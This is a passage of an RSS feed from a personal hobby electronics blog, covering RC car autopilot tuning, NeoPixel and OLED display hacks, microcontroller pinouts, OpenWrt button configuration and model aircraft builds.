      <description>&lt;h2 id=&#34;day-1&#34;&gt;Day 1&lt;/h2&gt;
&lt;p&gt;Controller brownout when accelerating. I can reproduce this on the bench
by gunning the throttle with the wheels off the ground. The
documentation suggests that the power module is designed for 3S
batteries, not the 2S equivalent that my 7.2 V NiMH packs are. Powering
off just the cars BEC shows the same problem.&lt;/p&gt;
&lt;p&gt;Solution: remove the power module. Add a small LiPo with a switchmode
BEC to the controllers servo rails.&lt;/p&gt;
&lt;p&gt;Oversteering at a corner.&lt;/p&gt;
&lt;h2 id=&#34;day-2&#34;&gt;Day 2&lt;/h2&gt;
&lt;p&gt;Plan:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Figure out how to restart the log.&lt;/li&gt;
&lt;li&gt;Profile the speed versus demand curve.&lt;/li&gt;
&lt;li&gt;Increase the standard speed to 4 m/s.&lt;/li&gt;
&lt;li&gt;Reduce the steering gain to reduce oversteering.&lt;/li&gt;
&lt;li&gt;Brake at the end of the run&lt;/li&gt;
&lt;li&gt;See how the throttle stick changes speed on Auto
&lt;ul&gt;
&lt;li&gt;Should be throttle_base + throttle_nudge + pid(speed error)&lt;/li&gt;
&lt;li&gt;PID is PID(speed error in m/s * 100) / 100&lt;/li&gt;
&lt;li&gt;Range is 0 .. 100&lt;/li&gt;
&lt;li&gt;Speed is from ground_speed, which is from either the EKF or
GPS.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Calibrate centre on the steering
&lt;ul&gt;
&lt;li&gt;startup_ground calls trim_radios at startup which stores the
steering trim (yay!)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Test the throttle range&lt;/li&gt;
&lt;li&gt;Check if the motor controller can be calibrated: seems not, but the
stick position on power on sets neutral.&lt;/li&gt;
&lt;li&gt;See if it can beep more&lt;/li&gt;
&lt;li&gt;See when the waypoints get cleared
&lt;ul&gt;
&lt;li&gt;Based on the trainer switch release.&lt;/li&gt;
&lt;li&gt;In manual, should log &amp;lsquo;Erasing waypoints&amp;rsquo;
&lt;ul&gt;
&lt;li&gt;If roll is full right then also sets home&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;In training, sets waypoint. Prints &amp;lsquo;Learning waypoint&amp;rsquo;&lt;/li&gt;
&lt;li&gt;In auto, goes to RTL (return to landing)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;See if the log can be restarted on a signal
&lt;ul&gt;
&lt;li&gt;Logs if log_bitmask &amp;amp; MASK_LOG_WHEN_DISARMED, but never
stops the log.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h2 id=&#34;the-main-metrics-are&#34;&gt;The main metrics are&lt;/h2&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;1650=4m/s span=1500-1900 Changes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Turn on COMPASS_LEARN&lt;/li&gt;
&lt;li&gt;Set GPS_NAVFILTER to Automotive&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To investigate:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GCS_PID_MASK: mask of PIDs to send PID_TUNING messages for
&lt;ul&gt;
&lt;li&gt;Defaults off&lt;/li&gt;
&lt;li&gt;No obvious speed version. Not obvious where the message is
defined.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Can arm / disarm using the rudder - right to arm, left to disarm;
while the throttle is in the deadzone&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Web connected NeoPixel ring</title>
      <link>https://juju.nz/michaelh/2016/02/web-connected-neopixel-ring/</link>
      <pubDate>Sun, 07 Feb 2016 16:04:36 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/02/web-connected-neopixel-ring/</guid>
      <description>&lt;p&gt;It’s taken a while (as you can tell from the date on the box), but here’s my web connected NeoPixel ring:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-319-5&#34; width=&#34;640&#34; height=&#34;360&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v?_=5&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/Vid-20160207-165253-1.m4v&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;Chroma trail: a comet with a trail that cycles through the colours of the rainbow.&lt;/p&gt;
&lt;p&gt;I had to turn the brightness down so the camera didn’t saturate, as you can see in the next one:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-319-6&#34; width=&#34;640&#34; height=&#34;360&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4?_=6&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/raindrops.mp4&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;Raindrops: randomly coloured drops that fade away.&lt;/p&gt;
&lt;p&gt;This is a WRTnode board running a Python server. The patterns are loadable Python code. For a limited time, the server is available 
&lt;a href=&#34;http://i.juju.net.nz:8080/pattern&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;here&lt;/a&gt;. Try 
&lt;a href=&#34;http://i.juju.net.nz:8080/pattern&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;/pattern&lt;/a&gt; for a list, and 
&lt;a href=&#34;http://i.juju.net.nz:8080/pattern/chroma_spin.py/run&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;/pattern/name/run&lt;/a&gt; to run one.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Fading text on an OLED screen</title>
      <link>https://juju.nz/michaelh/2016/02/fading-text-on-an-oled-screen/</link>
      <pubDate>Thu, 04 Feb 2016 21:18:10 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/02/fading-text-on-an-oled-screen/</guid>
      <description>&lt;p&gt;Here’s my hack of the moment: text fading in on a 
&lt;a href=&#34;https://www.olimex.com/Products/Modules/LCD/MOD-OLED-128x64/open-source-hardware&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OLIMEX 128×64 OLED display&lt;/a&gt;. The interesting bit is that this is a TTF font which is rendered by 
&lt;a href=&#34;http://libsdl.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;SDL2&lt;/a&gt; into a buffer, dithered into black and white using 
&lt;a href=&#34;https://en.wikipedia.org/wiki/Floyd%E2%80%93Steinberg_dithering&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Floyd-Steinberg error diffusion&lt;/a&gt;, and then written out using the 
&lt;a href=&#34;http://iotdk.intel.com/docs/master/upm/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Intel IoT upm&lt;/a&gt; display driver. Optimizing the bulk write routine got the frame rate up from ~4 FPS to ~15 FPS.&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-315-4&#34; width=&#34;640&#34; height=&#34;360&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4?_=4&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/02/oled.mp4&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>LPC810 Hacking</title>
      <link>https://juju.nz/michaelh/note/lpc810hacking/</link>
      <pubDate>Wed, 20 Jan 2016 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/lpc810hacking/</guid>
      <description>&lt;p&gt;The

&lt;a href=&#34;http://www.nxp.com/products/microcontrollers-and-processors/arm-processors/lpc-arm-cortex-m-mcus/lpc-cortex-m0-plus-m0/lpc800-series/32-bit-arm-cortex-m0-plus-microcontroller-4-kb-flash-and-1-kb-sram:LPC810M021FN8&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;LPC810&lt;/a&gt;
is a Cortex-M0+ in a 8 pin PDIP.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PIO0_5 /RESET   (o   )  PIO0_0 U0_RXD
PIO0_4 U0_TXD   (    )  Vss
PIO0_3          (    )  Vdd
PIO0_2          (    )  PIO0_1 /ISPEN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See also the 
&lt;a href=&#34;http://cache.nxp.com/documents/user_manual/UM10601.pdf&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;user
manual&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Programming is over serial using

&lt;a href=&#34;http://sourceforge.net/projects/lpc21isp/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;lpc21isp&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The Sparkfun 3.3V FTDI cable is&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Black  GND (o
Brown  CTS (
Red    VCC (
Orange TXD (
Yellow RXD (
Green  RTS (
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;RTS is an output, CTS an input. The LPC needs /RST and /ISPEN which is
tricky. Tie low for development as you can send the GO command to run
the user code.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Adding buttons on the Linkit Smart</title>
      <link>https://juju.nz/michaelh/2016/01/adding-buttons-on-the-linkit-smart/</link>
      <pubDate>Sun, 10 Jan 2016 20:25:58 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/01/adding-buttons-on-the-linkit-smart/</guid>
      <description>&lt;p&gt;Here’s what I found out while trying to add buttons to the OpenWrt based 
&lt;a href=&#34;http://www.seeedstudio.com/depot/LinkIt-Smart-7688-p-2573.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Linkit Smart&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The flow is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Keys are defined in 
&lt;a href=&#34;https://github.com/openwrt/openwrt/blob/chaos_calmer/target/linux/ramips/dts/LINKIT7688.dts&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;target/linux/ramips/dts/LINKIT7688.dts&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href=&#34;https://github.com/openwrt/openwrt/blob/master/package/kernel/gpio-button-hotplug/src/gpio-button-hotplug.c&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;gpio-button-hotplug&lt;/code&gt;&lt;/a&gt; emulates &lt;code&gt;gpio-keys-polled&lt;/code&gt; and generates uevents.
&lt;ul&gt;
&lt;li&gt;The uevent is received onver netlink by procd in 
&lt;a href=&#34;http://git.openwrt.org/?p=project/procd.git;a=blob;f=plug/hotplug.c&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;plug/hotplug.c&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The event is dispatched via 
&lt;a href=&#34;https://github.com/openwrt/openwrt/blob/master/package/system/procd/files/hotplug.json&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;/etc/hotplug.json&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The standard dispatch rule calls &lt;code&gt;/etc/rc.buttons/$BUTTON&lt;/code&gt; &lt;/ul&gt;
The DTS fragment is:&lt;/p&gt;
&lt;pre&gt;gpio-keys-polled {
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;hellip;
btn2 {
label = &amp;ldquo;btn2&amp;rdquo;;
gpios = &amp;lt;�gpio0 2 1&amp;gt;;
linux,code = &amp;lt;0x102&amp;gt;;
};
&lt;/pre&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;where the `&amp;lt;&amp;amp;#038;gpio0 2 1&amp;gt;` picks the second pin from the zeroth port i.e. GPIO 2 and

maps it to BTN_2. See [`uapi/linux/input.h`][6] for the other key codes.
                
gpio-button-hotplug supports a limited number of keys. See the source for the

current list, which is `BTN_0` to `BTN_9`, `power`, `reset`, `rfkill`, `wps`, and `wwan`.
                
Also, the LinkIt uses a binary wifi driver which seems to be _very_ sensitive to

the kernel version. I ended up reverting [`363508bcabd8e9205f5fffc8ff282439e61d618f`][7]

to bring OpenWrt back to 3.18.21 to stop it crashing when the interface comes up.
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Hack of the day: scrolling text</title>
      <link>https://juju.nz/michaelh/2016/01/hack-of-the-day-scrolling-text/</link>
      <pubDate>Sun, 03 Jan 2016 19:04:36 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/01/hack-of-the-day-scrolling-text/</guid>
      <description>&lt;p&gt;I did a quick hack today and wrote a scrolling text app for an 
&lt;a href=&#34;https://www.adafruit.com/products/872&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Adafruit 8×8 LED display&lt;/a&gt; I had lying about:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-302-3&#34; width=&#34;640&#34; height=&#34;360&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4?_=3&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2016/01/udisplay-with-scrolling-text.mp4&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;The app is written in C++ using the Intel 
&lt;a href=&#34;https://github.com/intel-iot-devkit/mraa&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;code&gt;mraa&lt;/code&gt;&lt;/a&gt; I/O library (which looks pretty good) and running on a 
&lt;a href=&#34;http://wrtnode.cc/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;WRTNODE&lt;/a&gt; MIPS dev board with OpenWrt. The interesting bit is the text rendering: I started with a 
&lt;a href=&#34;https://github.com/idispatch/raster-fonts/blob/master/font-6x8.c&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;6×8&lt;/a&gt; bitmap font then added automatic width detection, blitting for rendering to the buffer, and blitting for rendering a scrolling window on the buffer to the display.&lt;/p&gt;
&lt;p&gt;The next step is to add a web app so you can post messages from the Internet. What could go wrong?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The Boost libraries</title>
      <link>https://juju.nz/michaelh/2016/01/the-boost-libraries/</link>
      <pubDate>Fri, 01 Jan 2016 21:11:01 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2016/01/the-boost-libraries/</guid>
      <description>&lt;p&gt;I’ve been hacking on a personal project to make it easier to expose HTTP based devices that are behind a restrictive NAT or firewall. The code needs to run on a 
&lt;a href=&#34;http://openwrt.org&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OpenWrt&lt;/a&gt; based 
&lt;a href=&#34;http://wrtnode.cc/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MIPS board&lt;/a&gt;
&lt;a href=&#34;http://openwrt.org&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;1&lt;/a&gt; which limits my language choice – Python3 is out as it’s too big, and Go on MIPS32 via gccgo on OpenWrt is… tricky
&lt;a href=&#34;http://wrtnode.cc/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I ended up writing the app in C++ and I’ve been quite impressed with C++14 and the 
&lt;a href=&#34;http://www.boost.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Boost libraries&lt;/a&gt;. Especially:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;boost::optional&lt;/code&gt; for covering the optional results without having to use tricks like err == -1 or result == nullptr.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;boost::algorithm::string&lt;/code&gt; for string splitting and trimming.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;boost::asio&lt;/code&gt; for all of your event or blocking based network programming needs.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;boost::program_options&lt;/code&gt; for command line option parsing and validation.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;boost::asio::coroutine&lt;/code&gt; for a very readable implementation of Duff device based coroutines.
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;std::unique_ptr / std::shared_ptr&lt;/code&gt; for sane memory management. &lt;/ul&gt;
Generous use of &lt;code&gt;auto&lt;/code&gt;, &lt;code&gt;lambdas&lt;/code&gt;, and &lt;code&gt;using&lt;/code&gt; keep the code reasonably terse as well.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;http://openwrt.org&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;1&lt;/a&gt; I also have two of the $12.90 LinkIt Smart 7688 boards on their way. A good price for a 580 MHz Linux CPU on a DIP carrier with Wifi, RAM, and 32 MiB of flash.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;http://wrtnode.cc/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;2&lt;/a&gt; gccgo enables libffi, which assumes floating point registers, but the OpenWrt kernel turns off FP emulation by default and enforces it through binutils flags.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Serial to NeoPixel bridge</title>
      <link>https://juju.nz/michaelh/2015/10/serial-to-neopixel-bridge/</link>
      <pubDate>Sun, 25 Oct 2015 20:55:15 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/10/serial-to-neopixel-bridge/</guid>
      <description>&lt;p&gt;I’m hacking on a project to hook a 
&lt;a href=&#34;https://learn.adafruit.com/adafruit-neopixel-uberguide/overview&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;NeoPixel&lt;/a&gt; ring up to the internet. I don’t have a good reason why, but it’s a good excuse to work with OpenWrt, TURN servers, and some blinking lights.&lt;/p&gt;
&lt;p&gt;NeoPixels are fairly hard to drive as they use a single wire, 800 kHz, non-return-to-zero protocol which needs precise timing. I decided to push the problem off into a&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://www.olimex.com/Products/Duino/AVR/OLIMEXINO-85-ASM/open-source-hardware&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Olimex ATTINY85&lt;/a&gt; board that takes serial data on one side and updates the ring on the other.&lt;/p&gt;
&lt;p&gt;Here’s a video of a two chasers with a little bit of tail blur. The main loop is written in Python, which renders the chasers and writes them out at 57600 baud:&lt;/p&gt;
&lt;div style=&#34;width: 640px; &#34; class=&#34;wp-video&#34;&gt;
  &lt;video class=&#34;wp-video-shortcode&#34; id=&#34;video-288-2&#34; width=&#34;640&#34; height=&#34;427&#34; preload=&#34;metadata&#34; controls=&#34;controls&#34;&gt;&lt;source type=&#34;video/mp4&#34; src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4?_=2&#34; /&gt;&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4&#34;&gt;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/10/VID_20151025_212428.mp4&lt;/a&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;Next step is to get approval to release the source code.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Z-84 flying wing</title>
      <link>https://juju.nz/michaelh/post/2015/10/z84/</link>
      <pubDate>Sat, 03 Oct 2015 15:49:55 +0000</pubDate>
      <guid>https://juju.nz/michaelh/post/2015/10/z84/</guid>
      <description>&lt;p&gt;Hobbyking had a free shipping promotion recently, so I picked up a 
&lt;a href=&#34;http://www.hobbyking.com/hobbyking/store/__25664__Wing_Wing_Z_84_EPO_845mm_PNF_.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Wing Wing Z-84 flying wing&lt;/a&gt; like 
&lt;a href=&#34;https://pixhawk.org/platforms/planes/z-84_wing_wing&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;all the cool kids have&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;IMG_20151003_171416.jpg&#34; alt=&#34;Z-84 flying wing&#34;&gt;&lt;/p&gt;
&lt;p&gt;It’s quite fun if a bit noisy. The 1500 mAh 2S batter lasts 15 minutes, which is crazy long, and it’s quite interesting how a pusher propeller changes climbs and loops – you need momentum as there’s no propeller to caster under.&lt;/p&gt;
&lt;p&gt;Next step is to change the motor controller for the one that the PX4 team recommends and have a look for a quieter prop.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>No luck on flying</title>
      <link>https://juju.nz/michaelh/2015/08/no-luck-on-flying/</link>
      <pubDate>Sun, 30 Aug 2015 11:09:30 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/08/no-luck-on-flying/</guid>
      <description>&lt;p&gt;Looks like the plane is too heavy. It took off OK on the first try, but I couldn’t get it to lift on five goes past that. The first flight was probably due to the little bit of extra voltage a freshly charged battery has.&lt;/p&gt;
&lt;p&gt;I did some measurements and the plane with autopilot is 1130 g, which is 255 g / 30 % higher than the design flying weight of 875 g. 110 g of that is in the MDF plate and 50 g is in my usual higher capacity batteries.&lt;/p&gt;
&lt;p&gt;Next step is to redo the plate in polystyrene. I’m tempted to follow Z-8’s 
&lt;a href=&#34;http://www.rcgroups.com/forums/showthread.php?t=1224971&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;instructions&lt;/a&gt; and change the prop to a APC 10×7 E and upgrade the motor to a 
&lt;a href=&#34;http://www3.towerhobbies.com/cgi-bin/wti0001p?&amp;amp;I=LXXGY4&amp;amp;P=8&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Super Tigre .10&lt;/a&gt;. The Super Tigre has a higher constant power (320 W vs 210 W), is a drop in replacement, and as a bonus saves 50 g.&lt;/p&gt;
&lt;p&gt;Edit: annnd I crashed it 🙂 I fitted a 10×7 prop and new receiver and got the elevator direction wrong. The good news is the 10×7 makes the plane leap away. The bad news is it lept away into the ground…&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Trojan&#43;PX4 ready to fly</title>
      <link>https://juju.nz/michaelh/2015/08/trojanpx4-ready-to-fly/</link>
      <pubDate>Fri, 28 Aug 2015 19:06:27 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/08/trojanpx4-ready-to-fly/</guid>
      <description>&lt;p&gt;I picked up yet another board to try in my never-complete car autopilot project. This time it’s a Pixhawk 
&lt;a href=&#34;http://px4.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PX4&lt;/a&gt; (from 
&lt;a href=&#34;http://cvg.ethz.ch/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ETH&lt;/a&gt; here in Zurich, woo!) with a FrSky PPM receiver, u-blox GPS, and 433 MHz telemetry mounted on my trusty 
&lt;a href=&#34;http://www.parkzone.com/Products/Default.aspx?ProdID=PKZ4400&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;P-28 Trojan&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_202952.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_202952.jpg&#34; alt=&#34;Top view assembled&#34; width=&#34;1714&#34; height=&#34;2285&#34; class=&#34;aligncenter size-full wp-image-275&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_203032.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/08/IMG_20150828_203032.jpg&#34; alt=&#34;Under view of autopilot&#34; width=&#34;584&#34; height=&#34;779&#34; class=&#34;aligncenter size-large wp-image-276&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Laser cutters are awesome. The baseboard that everything is mounted on was made by taking a basic sketch and measurements, drawing it in Inkscape, then cutting it out of 3 mm MDF (we were out of plywood…) on the laser cutter at work. Fast and accurate.&lt;/p&gt;
&lt;p&gt;I’ll fly it tomorrow. The software has stabalisation, altitude hold, and a waypoint engine. It can also auto takeoff and auto land but that’s not a good idea on the grass without rangefinder.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>New rover board</title>
      <link>https://juju.nz/michaelh/2015/07/nppilot-new-rover-board/</link>
      <pubDate>Sun, 12 Jul 2015 20:17:14 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/07/nppilot-new-rover-board/</guid>
      <description>&lt;p&gt;I have this long term, never complete project to make a self driving RC car. I’m making progress on the third reboot and finished up the rover board today:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/07/IMG_20150712_220612.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/07/IMG_20150712_220612.jpg&#34; alt=&#34;IMG_20150712_220612&#34; width=&#34;2448&#34; height=&#34;2180&#34; class=&#34;aligncenter size-full wp-image-269&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;On the board is a NAZE32 running Cleanflight for the sensors and real time control, a GPS, a Frsky receiver, a Beaglebone Black for logging, and a Adafruit LCD for status.&lt;/p&gt;
&lt;p&gt;The big changes with this reboot is moving the control software to a realtime controller instead of embedded Linux and adding a display and Wifi for a much faster test and debug cycle.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>NAZE32</title>
      <link>https://juju.nz/michaelh/note/naze32/</link>
      <pubDate>Sun, 12 Jul 2015 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/naze32/</guid>
      <description>&lt;p&gt;The NAZE32 is a STM32 based flight controller. I own a rev5 version with
the baro and magnetic compass that would be a great sensor and
controller board for nppilot. This page has notes on the hardware
itself.&lt;/p&gt;
&lt;p&gt;The schematic is hard to find. The rev4 schematic is mirrored

&lt;a href=&#34;http://fpvwiki.com/images/7/70/Naze32_rev4_schematic.pdf&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;here&lt;/a&gt;. The
CPU is a STM32F103CBT6 in a 48 pin package.&lt;/p&gt;
&lt;h2 id=&#34;basics&#34;&gt;Basics&lt;/h2&gt;
&lt;p&gt;The two main connectors are the motor and receiver blocks. PPM input is
on RX1.&lt;/p&gt;
&lt;h2 id=&#34;uarts&#34;&gt;UARTs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;UART1: pin 30, 31 to the CP2102&lt;/li&gt;
&lt;li&gt;UART2: pin 12, 13 to RC_CH3, RC_CH4&lt;/li&gt;
&lt;li&gt;UART3: pin 21, 21 mapped to SCL, SDA (so unusable)&lt;/li&gt;
&lt;li&gt;UART1: pin 42 (TX), 43 (RX) to PWM3, PWM4 (motor block)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The other remaps aren&amp;rsquo;t brought out on the 48 pin chip.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Bone v2</title>
      <link>https://juju.nz/michaelh/note/bonev2/</link>
      <pubDate>Wed, 08 Jul 2015 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/bonev2/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m using a small, no-name RT5370 from

&lt;a href=&#34;http://www.ebay.co.uk/itm/For-Raspberry-PI-RT5370-Mini-150Mbps-802-11n-Wireless-USB-Adapter-WiFi-Dongle-/281708681865&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ebay&lt;/a&gt;.
It&amp;rsquo;s not fast but it is compatible and reliable, unlike the other three
adapters that I have.&lt;/p&gt;
